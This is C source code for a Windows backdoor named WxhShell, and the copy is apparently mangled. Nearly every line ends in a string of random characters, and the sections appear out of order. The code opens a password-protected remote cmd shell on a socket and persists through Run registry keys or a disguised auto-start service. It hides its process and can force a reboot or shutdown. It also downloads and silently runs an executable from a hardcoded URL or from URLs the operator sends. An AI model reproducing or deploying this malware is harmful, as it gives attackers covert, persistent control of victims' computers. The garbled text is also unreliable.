    if(Boot(SHUTDOWN)) NRu _6~^^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i ,Cvnp6Lv  
    else { eKjmU| H  
    closesocket(wsh); .j?`U[V%a  
    ExitThread(0); ws8@y r<R  
    } abiZ"?(  
    break; j8n_:;i*  
    } O b'B?  
  // 获取shell ]-[M&i=+&  
  case 's': { :5Vk+s]8  
    CmdShell(wsh); n^aSio6  
    closesocket(wsh); U-Ia$b-5!  
    ExitThread(0); VP0q?lh  
    break; MmiC%"7wt  
  } wZ6D\I  
  // 退出 rk$&sDc/3  
  case 'x': { 9A_{*E(wd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S3#NGBZ/  
    CloseIt(wsh); xCN6?  
    break; Xi$( U8J_  
    } _M'WTe  
  // 离开 I\ e?v`e  
  case 'q': { Mo?eVtZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s~e<Pr?yu  
    closesocket(wsh); 4 =/5  
    WSACleanup(); hRAI7xk  
    exit(1); 7P1G^)  
    break; a&:1W83  
        } ;pe1tp  
  } H$'|hUwds%  
  } .T~<[0Ex+U  
=k.:XblEe[  
  // 提示信息 EdGA#i3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,fWQSc\}  
} +&hhj~I.  
  } <0lXJqd  
aAM!;3j]B`  
  return; BGM5pc (ei  
} .*XELP=BT  
EUBJnf:q  
// shell模块句柄 CTawXHM  
int CmdShell(SOCKET sock) W P7RX|7  
{ eu=G[>  
STARTUPINFO si; :"m~tU3&  
ZeroMemory(&si,sizeof(si)); ( w4w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y8} fj=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7$3R}=Z`\q  
PROCESS_INFORMATION ProcessInfo; S1jI8 #z}_  
char cmdline[]="cmd"; m(0sG(A~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4I7B #{  
  return 0; \s_lB~"P!3  
} [5[}2 B_t  
F`!B!uY  
// 自身启动模式 J|*Z*m  
int StartFromService(void) -s~6FrKy  
{ (Hk4~v6pqC  
typedef struct % mP%W<  
{ '{]1!yMh  
  DWORD ExitStatus; E/bIq}R6  
  DWORD PebBaseAddress; K:!){a[  
  DWORD AffinityMask; 6 3TeTGp$  
  DWORD BasePriority; y98 v  
  ULONG UniqueProcessId; s|er+-'  
  ULONG InheritedFromUniqueProcessId; qHwHP 1  
}   PROCESS_BASIC_INFORMATION; 'ec G:B`S  
(!b_o A8V  
PROCNTQSIP NtQueryInformationProcess; UI:YzR  
w+A:]SU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Skb,cKU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5L ]TV\\  
8CXZ7 p  
  HANDLE             hProcess; B$A`thQp  
  PROCESS_BASIC_INFORMATION pbi; R-7.q  
Z_b^K^4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1XfH,6\8i  
  if(NULL == hInst ) return 0; {u!Q=D$3  
L'i0|_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eAqSY s!1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E} Ir<\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X;2I' Kg  
Za,MzKd=  
  if (!NtQueryInformationProcess) return 0; 99QMMup  
!LGnh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ku2g FO  
  if(!hProcess) return 0; s |40v@ M  
|W't-}yf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }iGpuoXT`  
@|I:A  
  CloseHandle(hProcess); R$>]7-N}  
@ P:b\WCI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IE;Fu67wi  
if(hProcess==NULL) return 0; l>(w]  
48}L!m @  
HMODULE hMod; cb36~{  
char procName[255]; ZD$W>'m{F  
unsigned long cbNeeded; K &L9Ue  
! z!lQ~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y!3Mm*  
3k%fY  
  CloseHandle(hProcess); Qu 7#^%=  
)gX7qQ  
if(strstr(procName,"services")) return 1; // 以服务启动 z@70{*  
4}i2j  
  return 0; // 注册表启动 SW94(4qo  
} A%Ov.~&\G  
=J@M, mbHg  
// 主模块 bIvF5d>9#K  
int StartWxhshell(LPSTR lpCmdLine) >Q(+H-w  
{ ,(1n(FZ  
  SOCKET wsl; !yUn|v>&p  
BOOL val=TRUE; )7X+T'?%  
  int port=0; B: '}SA{  
  struct sockaddr_in door; 6CQ.>M:R  
$5(_U  
  if(wscfg.ws_autoins) Install(); "o| f  
w@K4u{|  
port=atoi(lpCmdLine); W|~Jl7hs8Q  
#=}dv8  
if(port<=0) port=wscfg.ws_port; 4blw9x N  
It5U=PU  
  WSADATA data; M lv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KOQiX?'  
1\'?.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R1!F mZW8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C]X:@^Hy  
  door.sin_family = AF_INET; "7w~0?}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .,-,@ZK  
  door.sin_port = htons(port); .2K4<UOAbm  
^[UWG^d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $q"/q*ys  
closesocket(wsl); B #[UR Z9S  
return 1; ~RdD6V  
} |3Fo4K%+  
Mz?xvP?z  
  if(listen(wsl,2) == INVALID_SOCKET) { fG *1A\t]  
closesocket(wsl); P4\{be>e  
return 1; "PFczoRZ  
} >M}\_c=  
  Wxhshell(wsl); | c:E)S\  
  WSACleanup(); R04%;p:k#  
 9S<87sO  
return 0; FJ/>=2^B  
Z$UPLg3=;_  
} bCV3h3<  
\+?>KpE,b  
// 以NT服务方式启动 ZsgJ6 Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ( M > C  
{ 'zRi ;:UHA  
DWORD   status = 0; %i!=.7o.  
  DWORD   specificError = 0xfffffff; .Lwp`{F/  
jY~W*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |JUb 1|gi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V6c>1nZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LnwI 7uvq  
  serviceStatus.dwWin32ExitCode     = 0; xJ-(]cO'  
  serviceStatus.dwServiceSpecificExitCode = 0; sI M^e  
  serviceStatus.dwCheckPoint       = 0; S!LLC{  
  serviceStatus.dwWaitHint       = 0; U{ZE|b. ?b  
r8R]0\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YmBo/IM  
  if (hServiceStatusHandle==0) return; # NoY}*  
AX`>y@I  
status = GetLastError(); 8+7n"6GY2/  
  if (status!=NO_ERROR) gs xT  
{ Q3@MRR^tY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !!{!T;)l  
    serviceStatus.dwCheckPoint       = 0; f1Z  
    serviceStatus.dwWaitHint       = 0; LTn@OhC  
    serviceStatus.dwWin32ExitCode     = status; nV[0O8p2Md  
    serviceStatus.dwServiceSpecificExitCode = specificError; : ~R Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Czl4^STiC  
    return; A:-MRhE9X  
  } nnzfKn:J  
jfLkp>2E'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |D@/4B1P  
  serviceStatus.dwCheckPoint       = 0; fZq_]1(/uP  
  serviceStatus.dwWaitHint       = 0; \Zn%r&(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a/ 4!zT   
} uVSc1 MS1  
0h3 -;%  
// 处理NT服务事件,比如:启动、停止 tRUGgf`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?(t{VdZSzQ  
{ _mEW]9Sp  
switch(fdwControl) he vM'"|4  
{ z1K}] z%  
case SERVICE_CONTROL_STOP: a>05Yxw  
  serviceStatus.dwWin32ExitCode = 0; : \{>+!`w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =7e|e6  
  serviceStatus.dwCheckPoint   = 0; 4!q4WQ ;  
  serviceStatus.dwWaitHint     = 0; ?cZ#0U  
  { 0P+B-K>n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l[,RA?i {  
  } `<?{%ja  
  return; (TX\vI&  
case SERVICE_CONTROL_PAUSE: u|.c?fW'3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EgYM][:UU  
  break; (Yv)%2  
case SERVICE_CONTROL_CONTINUE: "X[sW%# F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /Ezx'h3Q  
  break; 2\b 2W_  
case SERVICE_CONTROL_INTERROGATE: x;F^7c1  
  break; B#A .-nb  
}; #"T< mM7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ej[:!L  
} ORc20NFy7  
v^;p]_c~2  
// 标准应用程序主函数 T?DX|?2X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'j#J1 xwJ  
{ oP"X-I  
UI?AM 34  
// 获取操作系统版本 @) \{u$  
OsIsNt=GetOsVer(); 1xBg^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q.b<YRZ  
x;w^&<hQ\  
  // 从命令行安装 E7CeE6U  
  if(strpbrk(lpCmdLine,"iI")) Install(); I6.!0.G  
(V06cb*42[  
  // 下载执行文件 7\T~K Yb?  
if(wscfg.ws_downexe) { hx5oTJR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G\;a_]Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); ytDp 4x<W)  
} 7 6} a  
`R\nw)xq  
if(!OsIsNt) { Miw*L;u@W  
// 如果时win9x,隐藏进程并且设置为注册表启动 xn &$qLB  
HideProc(); @)IHd6 R  
StartWxhshell(lpCmdLine); qH8d3?1XO  
} TwaK>t96[  
else ZaZm$.s n  
  if(StartFromService()) `Z' h[-2`  
  // 以服务方式启动 }|Ao@UvH  
  StartServiceCtrlDispatcher(DispatchTable); 4t]YHLBS  
else <mk'n6B  
  // 普通方式启动 VEc^Ap1?'  
  StartWxhshell(lpCmdLine); 1 7..  
<'N(`.&3C  
return 0; 4 g%BCGsys  
} kp$w)%2JW  
(b*PDhl`+  
,$,c<M  
KJs/4oR;  
=========================================== FG6bKvEQm^  
wuV*!oefo  
Ch;wvoy  
hi.` O+;  
fDzG5}i  
^W*T~V*8  
" &yabxl_  
e  -yL  
#include <stdio.h> C3hQT8~  
#include <string.h> 4[.DQ#r  
#include <windows.h> '=V!Y$tn  
#include <winsock2.h> rD?G7l<~>_  
#include <winsvc.h> f)b+>!  
#include <urlmon.h> Rn4Bl8z'>  
;Pd nE~  
#pragma comment (lib, "Ws2_32.lib") }j_2K1NS{  
#pragma comment (lib, "urlmon.lib") )*CDufRFz  
r2xXS&9!|  
#define MAX_USER   100 // 最大客户端连接数 C-:lM1  
#define BUF_SOCK   200 // sock buffer HO`N]AMw  
#define KEY_BUFF   255 // 输入 buffer CC~:z/4,N  
wr~Ydmsf  
#define REBOOT     0   // 重启 5L!cS+QNU  
#define SHUTDOWN   1   // 关机 :ot^bAyt|  
!4 =]@eFk  
#define DEF_PORT   5000 // 监听端口 pVa9g)+z}  
,SQ`, C _5  
#define REG_LEN     16   // 注册表键长度 ]}za  
#define SVC_LEN     80   // NT服务名长度 JK/VIu&!  
}iE!( l  
// 从dll定义API w{$X :Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ';>A=m9(4%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o]jPG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?B5934X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  <j<V{Wc  
gAPD y/wM  
// wxhshell配置信息 H[M(t^GM  
struct WSCFG { #sRkKl|  
  int ws_port;         // 监听端口 |RS(QU<QE  
  char ws_passstr[REG_LEN]; // 口令 \Aa{]t  
  int ws_autoins;       // 安装标记, 1=yes 0=no OBm#E}  
  char ws_regname[REG_LEN]; // 注册表键名 1OOMqFn}L  
  char ws_svcname[REG_LEN]; // 服务名 er44s^$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cOz/zD f5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !VoAN5#;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R2` -*PZ_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (]}52%~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v|K'M,E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5Kw$QJ/  
D00v"yp%%  
}; K K_  
%0MvCm  
// default Wxhshell configuration oj'a%mx  
struct WSCFG wscfg={DEF_PORT, =mQdM]A)2  
    "xuhuanlingzhe", )%6h9xyXt  
    1, ~#SLb=K   
    "Wxhshell", 7/>#yR  
    "Wxhshell", GX\6J]x=^2  
            "WxhShell Service", 8rEUZk  
    "Wrsky Windows CmdShell Service", Mcfqo0T-  
    "Please Input Your Password: ", .I#ss66h  
  1, {Y7dE?!`7  
  "http://www.wrsky.com/wxhshell.exe", ,jc')#]9B  
  "Wxhshell.exe" - fx?@  
    }; &&s3>D^Ta  
f$|AU- |<  
// 消息定义模块 Ix59(g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tSf$`4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :g~X"C1s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PZ[hH(EX  
char *msg_ws_ext="\n\rExit."; '&+5L.  
char *msg_ws_end="\n\rQuit."; _t7}ny[  
char *msg_ws_boot="\n\rReboot..."; sWKe5@-o0  
char *msg_ws_poff="\n\rShutdown..."; eJ"je@vvrK  
char *msg_ws_down="\n\rSave to "; Q8GI;`Rb  
50='>|b  
char *msg_ws_err="\n\rErr!"; X?gH(mn  
char *msg_ws_ok="\n\rOK!"; ,VYUQE>\  
h|Ah\P?o  
char ExeFile[MAX_PATH]; D9 \!97  
int nUser = 0; !$Whftg  
HANDLE handles[MAX_USER]; >gSiH#>  
int OsIsNt; 7mT iO?/y<  
TYH4r q &  
SERVICE_STATUS       serviceStatus; ,3P@5Ef  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S9mcThcZ  
e{6I-5`|,#  
// 函数声明 ygo4.  
int Install(void); vjz 'y[D  
int Uninstall(void); AL{r/h  
int DownloadFile(char *sURL, SOCKET wsh); hVe39BBtO  
int Boot(int flag); ,u@Vi0  
void HideProc(void); ]Dd}^khv  
int GetOsVer(void); b uOpHQn  
int Wxhshell(SOCKET wsl); *Ud=x^JxO  
void TalkWithClient(void *cs); Ucqn 3&  
int CmdShell(SOCKET sock); dVKctt'C  
int StartFromService(void); (Z |Nz*<  
int StartWxhshell(LPSTR lpCmdLine); : pkOZ+t  
z?M_Cz;:J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }|9!|Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?qJt4Om  
Vm]xV_FOd  
// 数据结构和表定义 R|g50Q  
SERVICE_TABLE_ENTRY DispatchTable[] = |EZ\+!8N:{  
{ J-U5_>S  
{wscfg.ws_svcname, NTServiceMain}, (ptk!u6  
{NULL, NULL}  &peUC n  
}; !3;KC"o  
jM5w<T-2/  
// 自我安装 < pWk   
int Install(void) +zL|j/q?  
{ AA &>6JB{  
  char svExeFile[MAX_PATH]; s%/x3anz=  
  HKEY key; L} Rsg'U  
  strcpy(svExeFile,ExeFile); {Lg]chJq?  
t#N@0kIX.  
// 如果是win9x系统,修改注册表设为自启动 UpFm3gKF  
if(!OsIsNt) { I(Gl8F\c~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y9r##r+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H[o >"@4  
  RegCloseKey(key); h6;vOd~%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l#|wF$J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u.rFZu?E\  
  RegCloseKey(key);  0U&@;/?  
  return 0; !4vepa}Y  
    } ^hRx{A  
  } `)TuZP_)  
} "STd ;vR  
else { y"T(Unvc  
~kp,;!^vr  
// 如果是NT以上系统,安装为系统服务 i38`2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t$EL3U/(  
if (schSCManager!=0) +aZcA#%  
{ T?k!%5,Kj  
  SC_HANDLE schService = CreateService ,JqCxb9  
  ( &[W53Lqa  
  schSCManager, E@/* eJ  
  wscfg.ws_svcname, =OamN7V=  
  wscfg.ws_svcdisp, &B?*|M`)k  
  SERVICE_ALL_ACCESS, ?^gq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >!3r7LgK  
  SERVICE_AUTO_START, ;)23@6{R%  
  SERVICE_ERROR_NORMAL, L]Dq1q8`  
  svExeFile, A/TCJ#>l  
  NULL, CNl @8&R  
  NULL, a&!K5(  
  NULL, m"f3hd4D_q  
  NULL, 3,yzRb  
  NULL tRVz4fk[G  
  ); lnQY_~s  
  if (schService!=0) K};~A?ET,h  
  { 1"S~#  
  CloseServiceHandle(schService); P^^WViVX  
  CloseServiceHandle(schSCManager); {wh, "Ok_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ' '<3;  
  strcat(svExeFile,wscfg.ws_svcname); jT*?Z:U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7-VP)|L#G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *X\J[$!  
  RegCloseKey(key); 0q o]nw  
  return 0; 3W3)%[ 5  
    } f-`C1|\w  
  } ] XjL""EbC  
  CloseServiceHandle(schSCManager); +lw8YH  
} U W' @3#<?  
} %\] x}IC  
trz &]v=:  
return 1; |a!]Iqz"N  
} `5 Iaz  
#pnB+h&tE  
// 自我卸载 KD`*[.tT  
int Uninstall(void) O39f  
{ #+8G`  
  HKEY key; D9JHx+Xf>  
ymb{rKkN3  
if(!OsIsNt) { V/]o':  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &3f^]n!@  
  RegDeleteValue(key,wscfg.ws_regname); pEq }b+-  
  RegCloseKey(key); yY_#fJj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zuS4N?t`p  
  RegDeleteValue(key,wscfg.ws_regname); uc Ph*M  
  RegCloseKey(key); B &e'n<  
  return 0; *~kHH  
  } |f3 :9(p  
} O,Ej m<nt  
} s"~3.J  
else { G=PX'dS  
.`jYrW-k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (*Z:ByA  
if (schSCManager!=0) ?T)M z q}  
{ X16vvsjw5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l#TE$d^ym  
  if (schService!=0) J1Run0  
  { zs.@=Z"  
  if(DeleteService(schService)!=0) { d}<-G.&_  
  CloseServiceHandle(schService); (bAw>  
  CloseServiceHandle(schSCManager); d' l|oeS  
  return 0; CU@}{}Yl  
  } dWP<,Z>  
  CloseServiceHandle(schService); TTGWOC  
  } \)i,`bz  
  CloseServiceHandle(schSCManager); 5Z`f .}^w  
} H'}6Mw%ra  
} jI%glO'2  
*iVE O  
return 1; (_=R<:  
} {uurLEe?  
3.6Gh|7  
// 从指定url下载文件 1D1qOg"LE  
int DownloadFile(char *sURL, SOCKET wsh) ;_#<a*f  
{ M9~6ry-_  
  HRESULT hr; 1s.>_  
char seps[]= "/"; (0["|h32,  
char *token; 7Y5.GW\^  
char *file; N(%(B  
char myURL[MAX_PATH]; ZF@$3   
char myFILE[MAX_PATH]; Of>2m<  
\. a7F4h  
strcpy(myURL,sURL); [1e]_9)p  
  token=strtok(myURL,seps); W5>emx'>  
  while(token!=NULL) +K?sg;  
  { wz>[CXpi_  
    file=token; #^{%jlmHxJ  
  token=strtok(NULL,seps); /[A#iTe  
  } K[S)e!\.  
&WZ&Tt/)/  
GetCurrentDirectory(MAX_PATH,myFILE); z"-oD*ICw  
strcat(myFILE, "\\"); PYTwyqS  
strcat(myFILE, file); Py#TXzEcC  
  send(wsh,myFILE,strlen(myFILE),0); 9Dp0Pi?29  
send(wsh,"...",3,0); ?JBA`,-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M(vX.kF  
  if(hr==S_OK) W;?e@}  
return 0; OZEbs 7  
else intl?&wC  
return 1; xlH3t&i7  
:!JQ<kV  
} mbns%%GJU  
Tj+U:#!!~  
// 系统电源模块 S]NT+XM  
int Boot(int flag) e,MgR\F}  
{ tX6_n%/L  
  HANDLE hToken; n=?wX#rEC#  
  TOKEN_PRIVILEGES tkp; *fz#B/ _o  
10xza=a  
  if(OsIsNt) { a(LtiO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FKUo^F?z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Bj GfUQ  
    tkp.PrivilegeCount = 1; q:=jv6T#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Dus!Ki~8(t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0lV;bVa%  
if(flag==REBOOT) { *c 9 S.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /vC!__K9:  
  return 0; }X. Fm'`  
} @^/aS;B$>  
else { ^7yaM B!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hkdF  
  return 0; n6G&c4g<"  
} 2.vmZaKP  
  } CY.4>,  
  else { 1Vc~Sa  
if(flag==REBOOT) { _mJhY0Oc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6s'n r7'0  
  return 0; ;y-:)7J  
} j{D tjV8  
else { m&s>Sn+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AD+OQLG]`  
  return 0; &TL"Hd  
} J *38GX+  
} \(--$9  
/pV N1Yt  
return 1; 3D^cPkX  
} qHT73_R  
}=Xlac_U  
// win9x进程隐藏模块 gAVD-]`  
void HideProc(void) E M`'=<)V  
{ LzD RyL  
T+B8SZw#}!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q|0l>DPRp  
  if ( hKernel != NULL ) K]uH7-YvL/  
  { ZH*h1?\X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zl| XZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x6*y$D^B  
    FreeLibrary(hKernel); ={f8s,m)P,  
  } n_:EWm$\  
pe<T" [X  
return; ]0BX5Z'  
} R.DUfU"gp  
\98N8p;,I  
// 获取操作系统版本 ><S(n#EB  
int GetOsVer(void) o 0T1pGs'  
{ |5ge4,}0  
  OSVERSIONINFO winfo; 3rd8mh&l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W;l0GxOxQ  
  GetVersionEx(&winfo); qHtIjtt[q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z} t^i^u  
  return 1; 0Lb{HLT  
  else luyu7`  
  return 0; ,p /{!BX  
} k"C'8<T)'  
l}r9kS  
// 客户端句柄模块 [^7P ]olW  
int Wxhshell(SOCKET wsl) 42p1P6d  
{ KV8<'g+2?  
  SOCKET wsh; qj `C6_?  
  struct sockaddr_in client; |)C *i  
  DWORD myID; Dv L8}dz  
X;2LK!x;y  
  while(nUser<MAX_USER) fms(_Q:R?  
{ cA|vH^:  
  int nSize=sizeof(client); sOiM/} O]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L[A?W  
  if(wsh==INVALID_SOCKET) return 1; r ;MFVj{  
aEh9 za  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ||.Hv[ ]V*  
if(handles[nUser]==0) Iqn (NOq^[  
  closesocket(wsh); 7!h> < sx  
else IF-y/]  
  nUser++; SH#*Lc   
  } -(>Ch>O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,,+4d :8$  
8ICV"8(  
  return 0; 6GPI gPL,  
} wW/q#kc  
X/90S2=P  
// 关闭 socket c8Ud<M .  
void CloseIt(SOCKET wsh) Zd%wX<hU"  
{ V"'PA-z3  
closesocket(wsh); p Pag@L  
nUser--; gu%i|-}  
ExitThread(0); k3nvML,bv  
} .Gvk5Wn  
, ,ng]&%i  
// 客户端请求句柄 eV/oY1B]<  
void TalkWithClient(void *cs) Dte5g),R  
{ HyOrAv <  
UqyW8TCf?  
  SOCKET wsh=(SOCKET)cs; awvP;F?q|  
  char pwd[SVC_LEN]; @6UZC-M0  
  char cmd[KEY_BUFF]; >T c\~l  
char chr[1]; s;=C&N5g  
int i,j; -u4")V>  
+4 Pes  
  while (nUser < MAX_USER) { R dwt4A+  
^jUw4Dj~-q  
if(wscfg.ws_passstr) { PgGUs4[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -zn_d]NV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mp>(cs  
  //ZeroMemory(pwd,KEY_BUFF); 3 u4Q!U%(D  
      i=0; U%q6n"[ Cr  
  while(i<SVC_LEN) { tl\<:8pI"  
ah_ >:x  
  // 设置超时 5%e+@X;j  
  fd_set FdRead; "}`)s_rt  
  struct timeval TimeOut; S4[ #[w`=  
  FD_ZERO(&FdRead); _ZFEo< `'  
  FD_SET(wsh,&FdRead);  o kA<  
  TimeOut.tv_sec=8; %D8.uGsh  
  TimeOut.tv_usec=0; 3+s$K(%I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pMy:h   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "y&`,s5}  
1^E5VG1[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {jmy:e2  
  pwd=chr[0]; 3l41"5Fy&  
  if(chr[0]==0xd || chr[0]==0xa) { GGr82)E  
  pwd=0; 2 \}J*0  
  break; %lWOW2~R  
  } # Q,EL73;  
  i++; X<Z(,B  
    } 3X11Gl  
R3l{.{3p2  
  // 如果是非法用户,关闭 socket zxCx2.7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $7c,<=  
} uC#@qpzy  
/]5*;kO`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M<n'ZDK `W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {srxc4R`  
`&7tADFB  
while(1) { -f mJkI  
LybaE~=  
  ZeroMemory(cmd,KEY_BUFF); geqP.MR  
*|Er;Thw  
      // 自动支持客户端 telnet标准   .#$2,"8  
  j=0; }aR}ZzK/v  
  while(j<KEY_BUFF) {  0.0-rd>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A)>#n)  
  cmd[j]=chr[0]; )%MC*Z :^  
  if(chr[0]==0xa || chr[0]==0xd) {  w:QO@  
  cmd[j]=0; i2  c|_B  
  break; nHk^trGm  
  } :op_J!;  
  j++; ],S {?!'1  
    } 9jqsEd-SW  
@v2ko5  
  // 下载文件 A$5M.  
  if(strstr(cmd,"http://")) { FA$32*v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rf:H$\yw  
  if(DownloadFile(cmd,wsh)) HOFxOBV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kDWEgnXK,v  
  else 7#%Pry  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LlO8]b!P-^  
  } 3u$1W@T(  
  else { = a60Xv  
-[ gT}{k!  
